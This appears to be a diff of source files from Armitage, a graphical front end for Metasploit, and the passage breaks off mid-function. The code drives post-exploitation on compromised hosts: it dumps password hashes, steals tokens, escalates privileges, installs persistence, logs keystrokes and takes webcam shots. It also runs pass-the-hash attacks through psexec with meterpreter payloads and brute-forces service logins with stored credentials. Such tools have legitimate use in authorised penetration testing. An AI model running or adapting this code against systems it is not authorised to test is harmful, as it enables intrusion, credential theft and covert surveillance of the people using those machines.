item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
setupMenu($1, "help", @());
separator($1);
item($1, "About", 'A', {
local('$dialog $handle $label');
$dialog = dialog("About", 320, 200);
[$dialog setLayout: [new BorderLayout]];
$label = [new JLabel: [new ImageIcon: [ImageIO read: resource("resources/armitage-logo.gif")]]];
[$label setBackground: [Color black]];
[$label setForeground: [Color gray]];
[$label setOpaque: 1];
$handle = [SleepUtils getIOHandle: resource("resources/about.html"), $null];
[$label setText: readb($handle, -1)];
closef($handle);
[$dialog add: $label, [BorderLayout CENTER]];
[$dialog pack];
[$dialog setLocationRelativeTo: $null];
[$dialog setVisible: 1];
});
}
sub init_menus {
local('$top');
$top = [$1 getJMenuBar];
dynmenu($top, "$TITLE", charAt($TITLE, 0), &armitage_items);
dynmenu($top, "View", 'V', &view_items);
dynmenu($top, "Hosts", 'H', &host_items);
dynmenu($top, "Attacks", 'A', &main_attack_items);
dynmenu($top, "Workspaces", 'W', &client_workspace_items);
dynmenu($top, "Help", 'H', &help_items);
# setup some global keyboard shortcuts...
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
[$frame bindKey: "Ctrl+O", { thread(&createPreferencesTab); }];
cmd_safe("show exploits", {
local('$line $os $type $id $rank $name $k $date $exploit');
foreach $line (split("\n", $3)) {
local('@ranks');
@ranks = @('normal', 'good', 'great', 'excellent');
while (size(@ranks) > 0 && @ranks[0] ne min_rank()) {
@ranks = sublist(@ranks, 1);
}
if ($line ismatch '\s+((.*?)\/.*?\/.*?)\s+(\d\d\d\d-\d\d-\d\d)\s+(' . join('|', @ranks) . ')\s+(.*?)') {
($exploit, $os, $date, $rank, $name) = matched();
%exploits[$exploit] = %(
name => $name,
os => $os,
date => parseDate('yyyy-MM-dd', $date),
rank => $rank,
rankScore => rankScore($rank)
);
}
}
warn("Remote Exploits Synced");
});
}

View File

@ -0,0 +1,360 @@
#
# this code maintains the client threads (one per meterpreter session) and
# the data structures for each meterpreter session.
#
import armitage.*;
import console.*;
import msf.*;
import javax.swing.*;
global('%sessions %handlers $handler');
sub session {
if ($1 !in %sessions && $mclient !is $null) {
%sessions[$1] = [new MeterpreterSession: $client, $1, iff($client !is $mclient)];
[%sessions[$1] addListener: lambda(&parseMeterpreter)];
}
return %sessions[$1];
}
sub oneTimeShow {
%handlers[$1] = lambda({
if ($0 eq "begin") {
showError($2);
%handlers[$command] = $null;
}
}, $command => $1);
}
# m_cmd("session", "command here")
sub m_cmd {
if ($mclient is $null) {
warn("Dropping: " . @_ . " - collab check not complete!");
return;
}
local('$command $handler');
$command = split('\s+', [$2 trim])[0];
$handler = %handlers[$command];
if ($handler !is $null) {
[$handler execute: $1, [$2 trim]];
}
else {
$handler = {};
}
[session($1) addCommand: $handler, "$2 $+ \n"];
}
sub parseMeterpreter {
local('@temp $command $line $sid $token $response $data $command');
# called with: sid, token, response
($sid, $token, $response) = @_;
if ($token isa ^MeterpreterClient) {
return;
}
$response = convertAll($3);
$data = $response['data'];
if ("*uploaded*:*->*" iswm $data) {
# this is a hack to force the file browser to refresh when a file is uploaded
m_cmd($sid, "ls");
}
else if ("[-]*Unknown command: *" iswm $data) {
%handlers["list_tokens"] = $null;
%handlers["getuid"] = $null;
m_cmd($sid, "load stdapi");
m_cmd($sid, "load priv");
showError("Loading stdapi. Try command again");
return;
}
$handler = $token;
if ($handler !is $null && $0 eq "commandComplete") {
local('$h');
$h = $handler;
[$h begin: $1, $data];
@temp = split("\n", $data);
foreach $line (@temp) {
[$h update: $1, $line];
}
[$h end: $1, $data];
}
else if ($handler !is $null && $0 eq "commandTimeout") {
[$handler timeout: $1, $data];
}
}
sub interpretMeterpreterCommand {
if ([$1 getActionCommand] eq "shell") {
createShellTab($sid);
}
else if ([$1 getActionCommand] eq "screenshot") {
[createScreenshotViewer($sid)];
}
else if ([$1 getActionCommand] eq "webcam_snap") {
[createWebcamViewer($sid)];
}
}
#
# this code creates and managers a meterpreter tab.
#
sub createMeterpreterTab {
local('$session $result $thread $console $old');
$session = session($1);
# set up a meterpreter console window
$console = [new Console: $preferences];
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
# tab completion for Meterpreter... :D
[new TabCompletion: $console, $client, $1, "session.meterpreter_tabs"];
# set up a listener to read input from the console and dump output back to it.
if ("*Windows*" !iswm sessionToOS($1) || ($REMOTE && $mclient is $client)) {
[new MeterpreterClient: $console, $session, $null];
}
else {
[new MeterpreterClient: $console, $session, newInstance(^java.awt.event.ActionListener, lambda(&interpretMeterpreterCommand, $sid => $1))];
}
[$frame addTab: "Meterpreter $1", $console, $null, "Meterpreter " . sessionToHost($1)];
}
sub meterpreterPopup {
local('$popup');
$popup = [new JPopupMenu];
showMeterpreterMenu($popup, \$session, \$sid);
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
}
sub showMeterpreterMenu {
local('$j $platform');
$platform = lc($session['platform']);
setupMenu($1, "meterpreter_top", @($sid));
if ("*win*" iswm $platform) {
$j = menu($1, "Access", 'A');
item($j, "Migrate Now!", 'M', lambda({
oneTimeShow("run");
m_cmd($sid, "run migrate -f");
}, $sid => "$sid"));
item($j, "Escalate Privileges", 'E', lambda({
showPostModules($sid, "*escalate*");
}, $sid => "$sid"));
item($j, "Steal Token" , "S", lambda({
m_cmd($sid, "load incognito");
stealToken($sid);
}, $sid => "$sid"));
local('$h');
$h = menu($j, "Dump Hashes", "D");
item($h, "lsass method", "l", lambda({
m_cmd($sid, "hashdump");
}, $sid => "$sid"));
item($h, "registry method", "r", lambda({
thread(lambda({
launch_dialog("Dump Hashes", "post", "windows/gather/smart_hashdump", 1, $null, %(SESSION => $sid, GETSYSTEM => "1"));
}, \$sid));
}, $sid => "$sid"));
item($j, "Persist", 'P', lambda({
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
}, $sid => "$sid"));
item($j, "Pass Session", 'S', lambda({
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
}, $sid => "$sid"));
}
$j = menu($1, "Interact", 'I');
if ("*win*" iswm $platform || sessionToOS($sid) eq "Microsoft Windows") {
item($j, "Command Shell", 'C', lambda({ createShellTab($sid); }, $sid => "$sid"));
}
else {
#item($j, "Command Shell", 'C', lambda({ createCommandTab($sid, "/bin/bash"); }, $sid => "$sid"));
}
item($j, "Meterpreter Shell", 'M', lambda({ createMeterpreterTab($sid); }, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($j, "Desktop (VNC)", 'D', lambda({
local('$display');
$display = rand(9) . rand(9);
%handlers["run"] = lambda({
if ($0 eq "begin") {
local('$a');
$a = iff($REMOTE, $MY_ADDRESS, "127.0.0.1");
showError("$2 $+ \nConnect VNC viewer to $a $+ :59 $+ $display (display $display $+ )\n\nIf your connection is refused, you may need to migrate to a \nnew process to set up VNC.");
%handlers["run"] = $null;
}
}, \$display);
if ($REMOTE) {
m_cmd($sid, "run vnc -V -t -O -v 59 $+ $display -p " . randomPort() . " -i");
}
else {
m_cmd($sid, "run vnc -V -t -v 59 $+ $display -p " . randomPort() . " -i");
}
}, $sid => "$sid"));
}
$j = menu($1, "Explore", 'E');
item($j, "Browse Files", 'B', lambda({ createFileBrowser($sid, $platform); }, $sid => "$sid", \$platform));
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($j, "Log Keystrokes", 'K', lambda({
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
}, $sid => "$sid"));
}
item($j, "Screenshot", 'S', createScreenshotViewer("$sid"));
if ("*win*" iswm $platform) {
item($j, "Webcam Shot", 'W', createWebcamViewer("$sid"));
}
separator($j);
item($j, "Post Modules", 'M', lambda({ showPostModules($sid); }, $sid => "$sid"));
$j = menu($1, "Pivoting", 'P');
item($j, "Setup...", 'A', setupPivotDialog("$sid"));
item($j, "Remove", 'R', lambda({ killPivots($sid, $session); }, \$session, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($1, "ARP Scan...", 'A', setupArpScanDialog("$sid"));
}
else {
item($1, "Ping Sweep...", 'P', setupPingSweepDialog("$sid"));
}
setupMenu($1, "meterpreter_bottom", @($sid));
separator($1);
item($1, "Kill", 'K', lambda({ cmd_safe("sessions -k $sid"); }, $sid => "$sid"));
}
sub launch_msf_scans {
local('@modules $1 $hosts');
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
thread(lambda({
local('$scanner $index $console %ports %discover $port %o $temp');
%ports = ohash();
%discover = ohash();
setMissPolicy(%ports, { return @(); });
setMissPolicy(%discover, { return @(); });
if ($hosts !is $null) {
elog("launched msf scans at: $hosts");
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
[$console addSessionListener: lambda({
local('$text $host $port $hosts $modules $module @c');
foreach $text (split("\n", $2)) {
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
($host, $port) = matched();
push(%discover[$port], $host);
}
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
$start = $null;
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
foreach $port => $hosts (%discover) {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
@c = @("use $module");
push(@c, "set RHOSTS " . join(", ", $hosts));
push(@c, "set RPORT $port");
push(@c, "set THREADS 24");
push(@c, "run -j");
push(@launch, @c);
}
}
}
}
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
if (size(@launch) == 0) {
$time = (ticks() - $time) / 1000.0;
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
}
else {
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
thread(lambda({
local('$command');
foreach $command ($commands) {
[$console sendString: "$command $+ \n"];
yield 250;
}
}, \$console, $commands => shift(@launch)));
}
}
}
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
# build up a list of scan ports
foreach $index => $scanner (@modules) {
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
%o = call($client, "module.options", "auxiliary", $scanner);
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
}
safetyCheck();
}
}
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
$temp = %ports[$port];
}
# add a few left out modules
push(%ports['445'], "scanner/smb/smb_version");
[[$console getWindow] append: "[*] Launching TCP scan\n"];
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
[$console sendString: "set RHOSTS $hosts $+ \n"];
[$console sendString: "set THREADS 24\n"];
[$console sendString: "run -j\n"];
}
}, \$hosts, \@modules));
}

View File

@ -0,0 +1,271 @@
#
# Process Browser (for Meterpreter)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub createModuleBrowser {
local('$tree $split $scroll1 $t');
$split = [new JSplitPane: [JSplitPane HORIZONTAL_SPLIT], createModuleList(ohash(auxiliary => buildTree(@auxiliary), exploit => buildTree(@exploits), post => buildTree(@post), payload => buildTree(@payloads)), $2), iff($1, $1, [new JPanel])];
[$split setOneTouchExpandable: 1];
return $split;
}
sub showModulePopup {
local('$menu');
if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) {
$menu = [new JPopupMenu];
item($menu, "Relevant Targets", 'R', lambda({
thread(lambda({
local('$options %filter $os');
$options = call($mclient, "module.options", $type, $module);
if ("RPORT" in $options) {
%filter["ports"] = $options['RPORT']['default'];
if (%filter["ports"] eq '445') {
%filter["ports"] .= ", 139";
}
else if (%filter["ports"] eq '80') {
%filter["ports"] .= ", 443";
}
}
$os = split('/', $module)[0];
if ($os eq "windows") {
%filter["os"] = "windows";
}
else if ($os eq "linux") {
%filter["os"] = "linux";
}
else if ($os eq "osx") {
%filter["os"] = "ios, mac";
}
if (size(%filter) > 0) {
thread(lambda({
call($mclient, "db.filter", %filter);
}, \%filter));
[$frame setTitle: "$TITLE - $module"]
showError("Created a dynamic workspace for this module.\nUse Workspaces -> Show All to see all hosts.");
}
else {
showError("I'm sorry, this option doesn't work for\nthis module.");
}
}, \$module, \$type));
}, $module => $3, $type => $2));
setupMenu($menu, "module", @($2, $3));
[$menu show: [$1 getSource], [$1 getX], [$1 getY]];
}
else {
installMenu($1, "module", @($2, $3));
}
}
sub moduleAction {
local('$type $path $hosts');
($type, $path, $hosts) = @_;
thread(lambda({
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
if ($type eq "exploit") {
if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) {
launch_dialog($path, $type, $path, 1, $hosts);
}
else {
local('$a $b');
$a = call($mclient, "module.info", "exploit", $path);
$b = call($mclient, "module.options", "exploit", $path);
dispatchEvent(lambda({
attack_dialog($a, $b, $hosts, $path);
}, \$a, \$b, \$hosts, \$path));
}
}
else {
launch_dialog($path, $type, $path, 1, $hosts);
}
}
}, \$type, \$path, \$hosts));
}
sub createModuleList {
local('$tree $split $scroll1 $t');
$tree = [new ATree: treeNodes($null, $1)];
[$tree setRootVisible: 0];
[$tree setDragEnabled: 1];
[$tree setTransferHandler: $2];
addMouseListener($tree, lambda({
local('$t');
$t = [$1 isPopupTrigger];
if ($t == 0 && ($0 ne "mousePressed" || [$1 getClickCount] < 2)) {
return;
}
local('$p');
$p = [[$1 getSource] getPathForLocation: [$1 getX], [$1 getY]];
if ($p is $null) {
return;
}
else if ([$1 isPopupTrigger]) {
local('$selected $type $path');
$selected = map({ return "$1"; }, [$p getPath]);
$type = $selected[1];
$path = join('/', sublist($selected, 2));
showModulePopup($1, $type, $path);
return;
}
local('$selected $type $path $hosts');
$selected = map({ return "$1"; }, [$p getPath]);
if (size($selected) > 2) {
$type = $selected[1];
$path = join('/', sublist($selected, 2));
$hosts = [$targets getSelectedHosts];
moduleAction($type, $path, $hosts);
}
}));
$scroll1 = [new JScrollPane: $tree, [JScrollPane VERTICAL_SCROLLBAR_AS_NEEDED], [JScrollPane HORIZONTAL_SCROLLBAR_AS_NEEDED]];
local('$search $button');
$search = [new ATextField: 10];
[$search setToolTipText: "Enter a query to filter the MSF modules"];
[$search addKeyListener: lambda({
this('$id');
if ($0 ne "keyReleased") {
return;
}
local('$model $_id $text');
$text = [$search getText];
if ($text ne "" && strlen($text) >= 3) {
local('$filter %list $a $e $p $o $x $f');
$filter = lambda({ return iff(lc("* $+ $s $+ *") iswm lc($1), $1); }, $s => strrep($text, ' ', '*'));
%list = ohash();
$a = filter($filter, @auxiliary);
$e = filter($filter, @exploits);
$p = filter($filter, @payloads);
$o = filter($filter, @post);
if (size($a) > 0) { %list["auxiliary"] = buildTree($a); }
if (size($e) > 0) { %list["exploit"] = buildTree($e); }
if (size($p) > 0) { %list["payload"] = buildTree($p); }
if (size($o) > 0) { %list["post"] = buildTree($o); }
$_id = [(%list . "") hashCode];
if ($id ne $_id) {
$id = $_id;
$model = treeNodes($null, %list);
[[$tree getModel] setRoot: $model];
for ($x = 0; $x < [$tree getRowCount]; $x++) {
[$tree expandRow: $x];
}
}
}
else {
$id = -1L;
$model = treeNodes($null, $original);
[[$tree getModel] setRoot: $model];
}
}, $original => $1, \$tree, \$search)];
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $scroll1, [BorderLayout CENTER]];
[$panel add: wrapComponent($search, 5), [BorderLayout SOUTH]];
[$panel setPreferredSize: [new Dimension: 180, 600] ];
[$panel setMinimumSize: [new Dimension: 180, 0]];
let(&showPostModules, \$tree, \$search)
let(&showModules, \$tree, \$search)
return $panel;
}
# shows the post modules compatible with a session... for this to work, the
# code that creates the module browser must call: let(&showExploitModules, $tree => ..., $search => ...)
sub showModules {
local('%list $model $1 $2 $3 $4');
%list = ohash(
auxiliary => iff($1, buildTree($1), $null),
exploit => iff($2, buildTree($2), $null),
payload => iff($3, buildTree($3), $null),
post => iff($4, buildTree($4), $null));
$model = treeNodes($null, %list);
dispatchEvent(lambda({
local('$x');
[[$tree getModel] setRoot: $model];
for ($x = 0; $x < [$tree getRowCount]; $x++) {
[$tree expandRow: $x];
}
[$search setText: ""];
}, \$search, \$tree, \$model));
}
sub showExploitModules {
local('%list $model');
if (size($1) == 0) {
return;
}
showModules($null, $1, $null, $null);
}
# shows the post modules compatible with a session... for this to work, the
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
sub showPostModules {
local('@allowed $2');
@allowed = getOS(sessionToOS($1));
fork({
local('$modules %list $model');
$modules = call($client, "session.compatible_modules", $sid)["modules"];
$modules = map({ return substr($1, 5); }, $modules);
# filter out operating systems.
$modules = filter(lambda({
local('$o');
($o) = split('/', $1);
return iff($o in @allowed, $1);
}, \@allowed), $modules);
# filter out other stuff if a filter exists...
if ($filter !is $null) {
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
}
%list = ohash(post => buildTree($modules));
$model = treeNodes($null, %list);
dispatchEvent(lambda({
local('$x');
[[$tree getModel] setRoot: $model];
for ($x = 0; $x < [$tree getRowCount]; $x++) {
[$tree expandRow: $x];
}
[$search setText: ""];
}, \$search, \$tree, \$model));
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
}
sub createModuleBrowserTab {
[$frame addTab: "Modules", createModuleBrowser(), $null];
}

View File

@ -0,0 +1,332 @@
#
# pass the hash attack gets its own file.
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import ui.*;
%handlers["hashdump"] = {
this('$host $safe $queue');
if ($0 eq "begin" && "*Unknown command*hashdump*" iswm $2) {
$host = $null;
if ($safe is $null) {
$safe = 1;
m_cmd($1, "use priv");
m_cmd($1, "hashdump");
}
else {
showError("hashdump is not available here");
$safe = $null;
}
}
else if ($0 eq "execute") {
$host = sessionToHost($1);
$queue = [new armitage.ConsoleQueue: $client];
[$queue start];
elog("dumped hashes on $host");
showError("Dumping Hashes.\nUse View -> Credentials to see them.");
}
else if ($0 eq "update" && $host !is $null && $2 ismatch '(.*?):(\d+):([a-zA-Z0-9]+:[a-zA-Z0-9]+).*?') {
local('$user $gid $hash');
($user, $gid, $hash) = matched();
# strip any funky characters that will cause this call to throw an exception
$user = replace($user, '\P{Graph}', "");
[$queue addCommand: $null, "creds -a $host -p 445 -t smb_hash -u $user -P $hash"];
}
else if ($0 eq "end" && ("*Error running*" iswm $2 || "*Operation failed*" iswm $2)) {
[$queue stop];
showError("Hash dump failed. Ask yourself:\n\n1) Do I have system privileges?\n\nNo? Then use Access -> Escalate Privileges\n\n2) Is meterpreter running in a process owned\nby a System user?\n\nNo? Use Explore -> Show Processes and migrate\nto a process owned by a System user.");
$host = $null;
}
else if ($0 eq "end" && $host !is $null) {
[$queue stop];
}
};
sub refreshCredsTable {
thread(lambda({
[Thread yield];
local('$creds $cred');
[$model clear: 128];
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
foreach $cred ($creds) {
if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
[$model addEntry: $cred];
}
}
[$model fireListeners];
}, $model => $1, $title => $2));
}
sub show_hashes {
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll');
$dialog = dialog($1, 480, $2);
$model = [new GenericTableModel: @("user", "pass", "host"), "user", 128];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 2, &compareHosts];
[$table setRowSorter: $sorter];
refreshCredsTable($model, $1);
$scroll = [new JScrollPane: $table];
[$scroll setPreferredSize: [new Dimension: 480, 130]];
[$dialog add: $scroll, [BorderLayout CENTER]];
return @($dialog, $table, $model);
}
sub createCredentialsTab {
local('$dialog $table $model $panel $export $crack $refresh');
($dialog, $table, $model) = show_hashes("", 320);
[$dialog removeAll];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
refreshCredsTable($model, $null);
}, \$model)];
$crack = [new JButton: "Crack Passwords"];
[$crack addActionListener: {
thread({
launch_dialog("Crack Passwords", "auxiliary", "analyze/jtr_crack_fast", 1);
});
}];
$export = [new JButton: "Export"];
[$export addActionListener: {
if ($client !is $mclient) {
cmd_safe("db_export -f pwdump -a creds.export", {
thread({
downloadFile("creds.export", saveFile2());
});
});
}
else {
local('$file');
$file = saveFile2();
$file = strrep($file, '\\', '\\\\');
cmd_safe("db_export -f pwdump -a $file", {
showError("Saved credentials");
});
}
}];
[$panel add: center($refresh, $crack, $export), [BorderLayout SOUTH]];
[$frame addTab: "Credentials", $panel, $null];
}
sub pass_the_hash {
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls');
($dialog, $table, $model) = show_hashes("Pass the Hash", 360);
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$bottom = [new JPanel];
#[$bottom setLayout: [new GridLayout: 4, 1]];
[$bottom setLayout: [new BoxLayout: $bottom, [BoxLayout Y_AXIS]]];
$user = [new ATextField: 32];
$pass = [new ATextField: 32];
$domain = [new ATextField: 32];
[$domain setText: "WORKGROUP"];
$brute = [new JCheckBox: "Check all credentials"];
$button = [new JButton: "Launch"];
[[$table getSelectionModel] addListSelectionListener: lambda({
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
}, \$table, \$model, \$user, \$pass)];
$reverse = [new JCheckBox: "Use reverse connection"];
@controls = @($user, $pass, $reverse);
[$brute addActionListener: lambda({
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
}, \$brute, \@controls)];
[$bottom add: label_for("User", 75, $user)];
[$bottom add: label_for("Pass", 75, $pass)];
[$bottom add: label_for("Domain", 75, $domain)];
[$bottom add: left($brute)];
[$bottom add: left($reverse)];
[$button addActionListener: lambda({
local('$u $p %options $host');
%options["SMBDomain"] = [$domain getText];
%options['RPORT'] = "445";
if ([$brute isSelected]) {
%options["RHOSTS"] = join(", ", $hosts);
%options["BLANK_PASSWORDS"] = "false";
%options["USER_AS_PASS"] = "false";
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]), "smb_hash");
elog("brute force smb @ " . %options["RHOSTS"]);
launchBruteForce("auxiliary", "scanner/smb/smb_login", %options, "brute smb");
}
else {
%options["SMBUser"] = [$user getText];
%options["SMBPass"] = [$pass getText];
%options["LPORT"] = randomPort();
foreach $host ($hosts) {
if ([$reverse isSelected]) {
%options["LHOST"] = $MY_ADDRESS;
%options["PAYLOAD"] = "windows/meterpreter/reverse_tcp";
}
else if (isIPv6($host)) {
%options["PAYLOAD"] = "windows/meterpreter/bind_ipv6_tcp";
}
else {
%options["PAYLOAD"] = "windows/meterpreter/bind_tcp";
}
%options["RHOST"] = $host;
module_execute("exploit", "windows/smb/psexec", copy(%options));
}
elog("psexec: " . [$user getText] . ":" . [$pass getText] . " @ " . join(", ", $hosts));
}
[$dialog setVisible: 0];
}, \$dialog, \$user, \$domain, \$pass, \$reverse, \$hosts, \$brute, \$model)];
$b2 = [new JPanel];
[$b2 setLayout: [new BorderLayout]];
[$b2 add: $bottom, [BorderLayout NORTH]];
[$b2 add: center($button), [BorderLayout SOUTH]];
[$dialog add: $b2, [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
}
sub show_login_dialog {
local('$port $srvc');
($port, $srvc) = values($service, @("port", "name"));
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls $scroll');
($dialog, $table, $model) = show_hashes("login", 320);
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$bottom = [new JPanel];
[$bottom setLayout: [new GridLayout: 3, 1]];
$user = [new ATextField: 32];
$pass = [new ATextField: 32];
$brute = [new JCheckBox: "Check all credentials"];
@controls = @($user, $pass);
$button = [new JButton: "Launch"];
[[$table getSelectionModel] addListSelectionListener: lambda({
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
}, \$table, \$model, \$user, \$pass)];
[$bottom add: label_for("User", 75, $user)];
[$bottom add: label_for("Pass", 75, $pass)];
[$bottom add: $brute];
[$brute addActionListener: lambda({
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
}, \$brute, \@controls)];
[$button addActionListener: lambda({
local('$u $p %options $host');
%options["RHOSTS"] = join(', ', $hosts);
%options["RPORT"] = $port;
if ([$brute isSelected]) {
%options["BLANK_PASSWORDS"] = "false";
%options["USER_AS_PASS"] = "false";
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]));
elog("brute force $srvc @ " . %options["RHOSTS"]);
launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options, "brute $srvc");
}
else {
%options["USERNAME"] = [$user getText];
%options["PASSWORD"] = [$pass getText];
%options["BLANK_PASSWORDS"] = "false";
%options["USER_AS_PASS"] = "false";
warn("$srvc $+ : $port => " . %options);
elog("login $srvc with " . [$user getText] . ":" . [$pass getText] . " @ " . %options["RHOSTS"]);
module_execute("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
}
[$dialog setVisible: 0];
}, \$dialog, \$user, \$pass, \$hosts, \$srvc, \$port, \$brute, \$model)];
$b2 = [new JPanel];
[$b2 setLayout: [new BorderLayout]];
[$b2 add: $bottom, [BorderLayout NORTH]];
[$b2 add: center($button), [BorderLayout SOUTH]];
$scroll = [new JScrollPane: $table];
[$scroll setPreferredSize: [new Dimension: 480, 130]];
[$dialog add: $scroll, [BorderLayout CENTER]];
[$dialog add: $b2, [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
}
sub createUserPassFile {
local('$handle $user $pass $type $row $2');
$handle = openf(">userpass.txt");
foreach $row ($1) {
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
if ($type eq "password" || $type eq $2) {
println($handle, "$user $pass");
}
else {
println($handle, "$user");
}
}
closef($handle);
if ($client !is $mclient) {
local('$file');
$file = uploadFile("userpass.txt");
deleteOnExit("userpass.txt");
return $file;
}
else {
return getFileProper("userpass.txt");
}
}
# launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
sub launchBruteForce {
thread(lambda({
local('$console $key $value');
$console = createDisplayTab("$title", $host => "all", $file => "brute_login");
[$console addCommand: $null, "use $type $+ / $+ $module"];
foreach $key => $value ($options) {
$value = strrep($value, '\\', '\\\\');
[$console addCommand: $null, "set $key $value"];
}
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
[$console addCommand: $null, "run -j"];
[$console start];
}, $type => $1, $module => $2, $options => $3, $title => $4));
}

View File

@ -0,0 +1,178 @@
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import graph.*;
import ui.*;
sub maskToCIDR {
local ('$x');
$x = strlen(strrep(formatNumber([Route ipToLong: $1], 10, 2), "0", ""));
return $x;
}
sub arp_scan_function {
local('$host $mask');
$host = [$model getSelectedValueFromColumn: $table, "host"];
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
if ($host ne "" && $mask ne "") {
elog("ARP scan: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
module_execute("post", "windows/gather/arp_scanner", %(THREADS => 24, SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
}
[$dialog setVisible: 0];
}
sub ping_sweep_function {
